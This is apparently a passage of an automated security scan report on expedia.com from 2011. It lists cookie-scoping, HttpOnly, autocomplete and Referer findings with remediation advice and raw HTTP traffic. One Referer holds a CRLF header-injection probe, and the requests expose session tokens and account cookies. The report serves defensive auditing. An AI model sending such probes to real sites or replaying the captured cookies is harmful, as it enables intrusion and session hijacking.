...[SNIP]...
<allow-access-from domain="*.wwte7.com" secure="true" />
...[SNIP]...
<allow-access-from domain="labadssrv01" secure="true" />
...[SNIP]...
<allow-access-from domain="labadsol01" secure="true" />
...[SNIP]...
<allow-access-from domain="10.95.1.5" secure="true" />
...[SNIP]...
<allow-access-from domain="belwaweb01" secure="true" />
...[SNIP]...
<allow-access-from domain="*.unicast.com" secure="true" />
...[SNIP]...

5. Cookie scoped to parent domain previous next
There are 4 instances of this issue:

http://www.expedia.com/Hotels
http://www.expedia.com/default.asp
http://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

5.1. http://www.expedia.com/Hotels previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/Hotels

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

JSESSION=ed861fe0-7e58-4a15-a1dc-ba3f1f9818e7; Domain=.expedia.com; Path=/
p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; Domain=.expedia.com; Expires=Fri, 06-May-2016 03:46:24 GMT; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Hotels HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=3&mnth=5/1/2011&rgst=%0D%0Ans:netsparker056650=vuln&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX011A614213$F4$B5205000c$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$F9Y$D9$0A$9E$23$C5E$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253D50053%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/Hotels%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Date: Fri, 06 May 2011 22:42:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: iEAPID=000,; Domain=.expedia.com; Path=/
Set-Cookie: JSESSION=ed861fe0-7e58-4a15-a1dc-ba3f1f9818e7; Domain=.expedia.com; Path=/
Set-Cookie: s1=`0; Domain=.expedia.com; Path=/
Set-Cookie: p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; Domain=.expedia.com; Expires=Fri, 06-May-2016 03:46:24 GMT; Path=/
Content-Length: 133396

<!DOCTYPE html>
<html>
<head>
<meta name="language" content="en_US"/>
<meta name="robots" content="noydir, noodp"/>
<title>Hotels: Find cheap hotel deals & resorts, make hotel reservations | E
...[SNIP]...

5.2. http://www.expedia.com/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/default.asp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ipsnf3=v.3|US|1|511|washington; expires=Sun, 6-May-2012 00:00:01 GMT; path=/; domain=.expedia.com;
MC1=GUID=6EAD9261B09A4968ABBC2BAA8521F2DD; expires=Fri, 06-May-2016 07:00:00 GMT; domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 69466
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close
Set-Cookie: ipsnf3=v.3|US|1|511|washington; expires=Sun, 6-May-2012 00:00:01 GMT; path=/; domain=.expedia.com;
Set-Cookie: MC1=GUID=6EAD9261B09A4968ABBC2BAA8521F2DD; expires=Fri, 06-May-2016 07:00:00 GMT; domain=.expedia.com; path=/
Set-Cookie: COOKIECHECK=1; domain=.expedia.com; path=/
Content-Length: 69466

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<COMMENT TITLE="MO
...[SNIP]...

5.3. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

s1=`user=v.8,0,EX01235ACD77$E5$B5201000D$27$E96!G0.!5010$2302!50$ED$A3$27$0C7$85$FE$36!4$FF!e02000`95; Domain=.expedia.com; path=/
p1=`tpid=v.1,1`accttype=v.2,3,1,EX01F1458A8B$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ek$16$E4$24p$5B$39$89$91H`104; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pub/agent.dll?qscr=info HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

5.4. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pub/agent.dll?qscr=fbak&&zz=1247500409281&&zz=1304739644741 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=fbak&&zz=1247500409281
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`user=v.8,0,EX01CC562A07$F4$B5203000g$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50K$A9$11$90$F1$8C$A5$D1$82$AB$89$FB!e02000`133

Response

6. Cookie without HttpOnly flag set previous next
There are 4 instances of this issue:

http://www.expedia.com/Hotels
http://www.expedia.com/default.asp
http://www.expedia.com/pub/agent.dll
https://www.expedia.com/pub/agent.dll

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

6.1. http://www.expedia.com/Hotels previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/Hotels

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSION=ed861fe0-7e58-4a15-a1dc-ba3f1f9818e7; Domain=.expedia.com; Path=/
p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; Domain=.expedia.com; Expires=Fri, 06-May-2016 03:46:24 GMT; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.2. http://www.expedia.com/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/default.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ipsnf3=v.3|US|1|511|washington; expires=Sun, 6-May-2012 00:00:01 GMT; path=/; domain=.expedia.com;
MC1=GUID=6EAD9261B09A4968ABBC2BAA8521F2DD; expires=Fri, 06-May-2016 07:00:00 GMT; domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.3. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s1=`user=v.8,0,EX01235ACD77$E5$B5201000D$27$E96!G0.!5010$2302!50$ED$A3$27$0C7$85$FE$36!4$FF!e02000`95; Domain=.expedia.com; path=/
p1=`tpid=v.1,1`accttype=v.2,3,1,EX01F1458A8B$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ek$16$E4$24p$5B$39$89$91H`104; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.4. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

/pub/agent.dll
/pub/agent.dll

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

7.1. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The page contains a form with the following action URL:

https://www.expedia.com/pub/agent.dll

The form contains the following password fields with autocomplete enabled:

pas1
pas2

Request

GET /pub/agent.dll?qscr=logi&ussl=1&&zz=1304739356206 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=logi&ussl=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104

Response

7.2. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The page contains a form with the following action URL:

https://www.expedia.com/pub/agent.dll

The form contains the following password field with autocomplete enabled:

upwd

Request

Response

8. Source code disclosure previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.expedia.com
Path:	/static/fusion/v2.3/images/buttonBG.png

Issue detail

The application appears to disclose some server-side source code written in PHP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /static/fusion/v2.3/images/buttonBG.png HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/Hotels
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"1636-1303251687426"
Last-Modified: Tue, 19 Apr 2011 22:21:27 GMT
Content-Length: 1636
Date: Fri, 06 May 2011 22:42:18 GMT
Connection: close

.PNG
.
...IHDR...,...S.............tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 ">
...[SNIP]...
</x:xmpmeta> <?xpacket end="r"?>..M"....PLTE..i..........2X.5].....9..f.....1.-O.....m.7J......F......3Y..........5\.0T....7N.4Z.....P.8R....7O.4\....8O..9.....=.....b..O.:`..p..E./S.....Y.....e..Q........k.6[....8P.7U.8S.......8T...
...[SNIP]...

9. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/daily/service/default.asp

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /daily/service/default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_FLTFLEX_CALENDAR%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/daily/service/default.asp%252526ot%25253DA%3B

Response 1

HTTP/1.1 301 Moved Permanently
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Location: http://support.expedia.com/app/home/uurl/http%3A%2F%2Fwww%2Eexpedia%2Ecom%2Fpub%2Fagent%2Edll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D%26mnth%3D5%2F1%2F2011%26rgst%3D1%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D%2D429%3F
Content-Length: 17530
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 22:40:06 GMT
Connection: close
Vary: Accept-Encoding



<HTML>
<HEAD>
<LINK REL=stylesheet HREF="/daily/common/style-daily.css">

<TITLE>Customer Service</TITLE>

<script language="javascript" src="http://media.expedia.com/media/content/expus/flash/tutorials/itin/launcher.js"></script>

</HEAD>

<BODY BGCOLOR=#FFFFFF LINK=#333399 VLINK=#660066 ALINK=#333399 TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>

<BASEFONT FACE="Arial,Helvetica,San Serif" size=2>


<link rel="stylesheet" type="text/css" href="/daily/styles/main.css?v=4" />

<script type="text/javascript" language="javascript" src="/daily/js/common.js.asp"></script>

<script language="javascript" src="http://media.expedia.com/media/content/expus/flash/tutorials/itin/launcher.js"></script>
<script language="javascript" src="/daily/js/flash.js"></script>
<script language="vbscript" src="/daily/js/flash.vbs"></script>

       <script language="javascript" type="text/javascript" src="/static/default/default/scripts/popunder.js?v=release-2011-05-r1.3.182136"></script>
<div id="xp-hdr" style="float:left;">
   <script type="text/javascript">
       if (typeof xp === "undefined"){
           var xp = {};
       }

       if (typeof xp.namespace === "undefined"){
           xp.namespace = function() {
               var args = arguments, root = null, pkg;
               for (i=0; i<args.length; i=i+1) {
